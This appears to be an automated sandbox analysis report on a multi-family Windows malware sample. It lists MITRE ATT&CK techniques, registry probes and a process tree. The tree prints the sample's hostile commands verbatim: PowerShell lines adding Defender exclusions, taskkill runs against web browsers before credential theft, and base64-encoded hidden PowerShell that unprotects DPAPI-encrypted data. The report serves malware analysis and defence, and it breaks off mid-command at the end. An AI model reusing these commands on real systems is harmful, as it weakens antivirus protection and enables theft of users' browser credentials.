a05d328fd830f134e01112e753f4dfdb4a277d43fc1612d224d638aa00c5228c

Analysis

max time kernel
151s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 01:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Size 51.5MB
Sample260814-bspclaee36
SHA256 a05d328fd830f134e01112e753f4dfdb4a277d43fc1612d224d638aa00c5228c
MD5 d9d9d08266a90f4c6873d87eff3d7b68
SHA1 cb8992a3fe9c9aa9bbd5a656352d39b970f66f2a
SHA512 49bbee59c326b5a7a3fc386a9e53b6c79a5070a9453377bfa6cb3619563d98c40bcd6c8a9ef7774c7c8ca897dd0233dcb8765791b43018c08d479db3ba6cf5dd
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfc:fMguj8Q4VfviqFTrY4
TLSH
T137C78D0673E605A2E5B392398A9B4103E772B4575735CBDB324C43242FABFE09E7A750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3752	powershell.exe
2984	powershell.exe
3796	powershell.exe
3360	powershell.exe
964	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2124	cmd.exe
4328	cmd.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
7	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4736	cscript.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4160	cmd.exe
5156	cmd.exe
1780	cmd.exe
5736	cmd.exe
3680	cmd.exe
5332	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5436	WMIC.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
3108	taskkill.exe
5044	taskkill.exe
2736	taskkill.exe
3652	taskkill.exe
5796	taskkill.exe
4968	taskkill.exe
4444	taskkill.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
3360	powershell.exe
3360	powershell.exe
3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
964	powershell.exe
964	powershell.exe
964	powershell.exe
3796	powershell.exe
3796	powershell.exe
3796	powershell.exe
3752	powershell.exe
3752	powershell.exe
3752	powershell.exe
3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
5436	WMIC.exe
5436	WMIC.exe
5436	WMIC.exe
5436	WMIC.exe
2984	powershell.exe
2984	powershell.exe
2984	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeIncreaseQuotaPrivilege	3360	powershell.exe
Token: SeSecurityPrivilege	3360	powershell.exe
Token: SeTakeOwnershipPrivilege	3360	powershell.exe
Token: SeLoadDriverPrivilege	3360	powershell.exe
Token: SeSystemProfilePrivilege	3360	powershell.exe
Token: SeSystemtimePrivilege	3360	powershell.exe
Token: SeProfSingleProcessPrivilege	3360	powershell.exe
Token: SeIncBasePriorityPrivilege	3360	powershell.exe
Token: SeCreatePagefilePrivilege	3360	powershell.exe
Token: SeBackupPrivilege	3360	powershell.exe
Token: SeRestorePrivilege	3360	powershell.exe
Token: SeShutdownPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeSystemEnvironmentPrivilege	3360	powershell.exe
Token: SeRemoteShutdownPrivilege	3360	powershell.exe
Token: SeUndockPrivilege	3360	powershell.exe
Token: SeManageVolumePrivilege	3360	powershell.exe
Token: 33	3360	powershell.exe
Token: 34	3360	powershell.exe
Token: 35	3360	powershell.exe
Token: 36	3360	powershell.exe
Token: SeIncreaseQuotaPrivilege	3360	powershell.exe
Token: SeSecurityPrivilege	3360	powershell.exe
Token: SeTakeOwnershipPrivilege	3360	powershell.exe
Token: SeLoadDriverPrivilege	3360	powershell.exe
Token: SeSystemProfilePrivilege	3360	powershell.exe
Token: SeSystemtimePrivilege	3360	powershell.exe
Token: SeProfSingleProcessPrivilege	3360	powershell.exe
Token: SeIncBasePriorityPrivilege	3360	powershell.exe
Token: SeCreatePagefilePrivilege	3360	powershell.exe
Token: SeBackupPrivilege	3360	powershell.exe
Token: SeRestorePrivilege	3360	powershell.exe
Token: SeShutdownPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeSystemEnvironmentPrivilege	3360	powershell.exe
Token: SeRemoteShutdownPrivilege	3360	powershell.exe
Token: SeUndockPrivilege	3360	powershell.exe
Token: SeManageVolumePrivilege	3360	powershell.exe
Token: 33	3360	powershell.exe
Token: 34	3360	powershell.exe
Token: 35	3360	powershell.exe
Token: 36	3360	powershell.exe
Token: SeDebugPrivilege	5796	taskkill.exe
Token: SeDebugPrivilege	3652	taskkill.exe
Token: SeDebugPrivilege	2736	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	4968	taskkill.exe
Token: SeDebugPrivilege	3108	taskkill.exe
Token: SeDebugPrivilege	4444	taskkill.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeIncreaseQuotaPrivilege	964	powershell.exe
Token: SeSecurityPrivilege	964	powershell.exe
Token: SeTakeOwnershipPrivilege	964	powershell.exe
Token: SeLoadDriverPrivilege	964	powershell.exe
Token: SeSystemProfilePrivilege	964	powershell.exe
Token: SeSystemtimePrivilege	964	powershell.exe
Token: SeProfSingleProcessPrivilege	964	powershell.exe
Token: SeIncBasePriorityPrivilege	964	powershell.exe
Token: SeCreatePagefilePrivilege	964	powershell.exe
Token: SeBackupPrivilege	964	powershell.exe
Token: SeRestorePrivilege	964	powershell.exe
Token: SeShutdownPrivilege	964	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3088 wrote to memory of 4160	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	90
PID 4160 wrote to memory of 3360	4160	cmd.exe	92
PID 3088 wrote to memory of 5156	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	94
PID 5156 wrote to memory of 4736	5156	cmd.exe	96
PID 3088 wrote to memory of 3108	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	97
PID 3088 wrote to memory of 5796	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	98
PID 3088 wrote to memory of 3652	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	99
PID 3088 wrote to memory of 2736	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	100
PID 3088 wrote to memory of 5044	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	101
PID 3088 wrote to memory of 4968	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	102
PID 3088 wrote to memory of 4444	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	103
PID 3088 wrote to memory of 1780	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	105
PID 1780 wrote to memory of 964	1780	cmd.exe	107
PID 3088 wrote to memory of 2124	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	109
PID 2124 wrote to memory of 3796	2124	cmd.exe	110
PID 3088 wrote to memory of 4328	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	111
PID 4328 wrote to memory of 3752	4328	cmd.exe	112
PID 3088 wrote to memory of 5736	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	113
PID 5736 wrote to memory of 5436	5736	cmd.exe	114
PID 3088 wrote to memory of 3680	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	115
PID 3680 wrote to memory of 2984	3680	cmd.exe	116
PID 3088 wrote to memory of 5332	3088	2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	117
PID 5332 wrote to memory of 5356	5332	cmd.exe	118

C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
1⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1786670717461.vbs""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5156
- - C:\Windows\system32\cscript.exe
    cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1786670717461.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4736
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM chrome.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3108
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5796
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM brave.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3652
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM opera.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM vivaldi.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM operagx.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM opera_crashreporter.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_09f7685fc18fe6e7_1786670720608' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_09f7685fc18fe6e7_1786670720608\update_assistant.exe' -Force""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_09f7685fc18fe6e7_1786670720608' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_09f7685fc18fe6e7_1786670720608\update_assistant.exe' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQBVADUASgA1AFYASgBwAGgAUQBVADYAUgA4AHkAOABsAFYAcwA1AHEAdQBSAEEAQQBBAEEAQQBjAEEAQQBBAEEAUgB3AEIAdgBBAEcAOABBAFoAdwBCAHMAQQBHAFUAQQBJAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBBAEEAQQBCAEIAbQBBAEEAQQBBAEEAUQBBAEEASQBBAEEAQQBBAEEAcgBKAEEAcwBiAFcAdABhAG0ATgA5ADUANQBCADAAbABmAFUASAB3AFgAYwBCAC8ARgBSAHoAWABkAFkAYgBCAFgAbwA1ADYATQBuAGIAWQBaAGkAQQBBAEEAQQBBAEEANgBBAEEAQQBBAEEAQQBnAEEAQQBJAEEAQQBBAEEASwBuADQARgBwAGYAcAA1AHcAYwBKAFkANQBGAHYAdwA0AG4AdwBvAE0AUwA5AHEAYwBTAHQAaABQAGkAZwBaAE4ASQBGAFoARQAvAFUAYgBSAEEAQwBNAEEAQQBBAEEASwBrADUANQBBAFQAUAAvAEgARwBMAEUAbABaADAAOQArAHIAaAB0ADcAagBwAFAAWQA1AFkAcABzAHkARgBxAEIAYwBYAFQAYQBQAHEANgBNAFYAUwBNAEEAbAB3AFUAOQBBAEcAYwBDAFQATwA1AFIANAArAGwAeQBKAFEAYgBrAEEAQQBBAEEAQQBRAEgAcwBnAFYAZQBIAFkAcwBNAE8AMwBoAFUANAA0ADEARwA2ADMAVQBaAHAASwBsAEEAZQBFADQAZwBNAGMAOABSADYAcwBnAGMAOQBLACsAQwBSAFAAVgBQAHUATwBCAFYAbABHAGQAbABPADkAdAA2AFEATABDAEcARQB6AEsAawA3AFIAcQBzAFEASgB0AEMAOABIAEYAMgBEAGUAbgBGAEcASQB3ACcAKQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABwAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkACgAgACAAIAAgAFsAQwBvAG4AcwBvAGwAZQBdADoAOgBPAHUAdAAuAFcAcgBpAHQAZQAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHAAKQApAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEUAcgByAG8AcgAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAKAH0A"
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQBVADUASgA1AFYASgBwAGgAUQBVADYAUgA4AHkAOABsAFYAcwA1AHEAdQBSAEEAQQBBAEEAQQBjAEEAQQBBAEEAUgB3AEIAdgBBAEcAOABBAFoAdwBCAHMAQQBHAFUAQQBJAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBBAEEAQQBCAEIAbQBBAEEAQQBBAEEAUQBBAEEASQBBAEEAQQBBAEEAcgBKAEEAcwBiAFcAdABhAG0ATgA5ADUANQBCADAAbABmAFUASAB3AFgAYwBCAC8ARgBSAHoAWABkAFkAYgBCAFgAbwA1ADYATQBuAGIAWQBaAGkAQQBBAEEAQQBBAEEANgBBAEEAQQBBAEEAQQBnAEEAQQBJAEEAQQBBAEEASwBuADQARgBwAGYAcAA1AHcAYwBKAFkANQBGAHYAdwA0AG4AdwBvAE0AUwA5AHEAYwBTAHQAaABQAGkAZwBaAE4ASQBGAFoARQAvAFUAYgBSAEEAQwBNAEEAQQBBAEEASwBrADUANQBBAFQAUAAvAEgARwBMAEUAbABaADAAOQArAHIAaAB0ADcAagBwAFAAWQA1AFkAcABzAHkARgBxAEIAYwBYAFQAYQBQAHEANgBNAFYAUwBNAEEAbAB3AFUAOQBBAEcAYwBDAFQATwA1AFIANAArAGwAeQBKAFEAYgBrAEEAQQBBAEEAQQBRAEgAcwBnAFYAZQBIAFkAcwBNAE8AMwBoAFUANAA0ADEARwA2ADMAVQBaAHAASwBsAEEAZQBFADQAZwBNAGMAOABSADYAcwBnAGMAOQBLACsAQwBSAFAAVgBQAHUATwBCAFYAbABHAGQAbABPADkAdAA2AFEATABDAEcARQB6AEsAawA3AFIAcQBzAFEASgB0AEMAOABIAEYAMgBEAGUAbgBGAEcASQB3ACcAKQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABwAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkACgAgACAAIAAgAFsAQwBvAG4AcwBvAGwAZQBdADoAOgBPAHUAdAAuAFcAcgBpAHQAZQAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHAAKQApAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEUAcgByAG8AcgAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAKAH0A
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQBVADUASgA1AFYASgBwAGgAUQBVADYAUgA4AHkAOABsAFYAcwA1AHEAdQBSAEEAQQBBAEEAQQBlAEEAQQBBAEEAVABRAEIAcABBAEcATQBBAGMAZwBCAHYAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEASQBBAEIARgBBAEcAUQBBAFoAdwBCAGwAQQBBAEEAQQBFAEcAWQBBAEEAQQBBAEIAQQBBAEEAZwBBAEEAQQBBAGsAKwBWAEIAZgBxAFoATAA2ADAATgBLAE4ALwBuADcATABJAFYAWQBlAEIAYQBkAGkANQBHAC8AdwBzADAAdgBSAEsAQgBpACsAbgBMAGMAeQBnAFkAQQBBAEEAQQBBAEQAbwBBAEEAQQBBAEEAQwBBAEEAQQBnAEEAQQBBAEEAWgBsAEoAZwBzAFEANABRAEoAVAArACsAMgBOAE0AVABFAGsATABaAHMAMwBqAE8ANABrAHMAOABhAEQAYgB3AEUA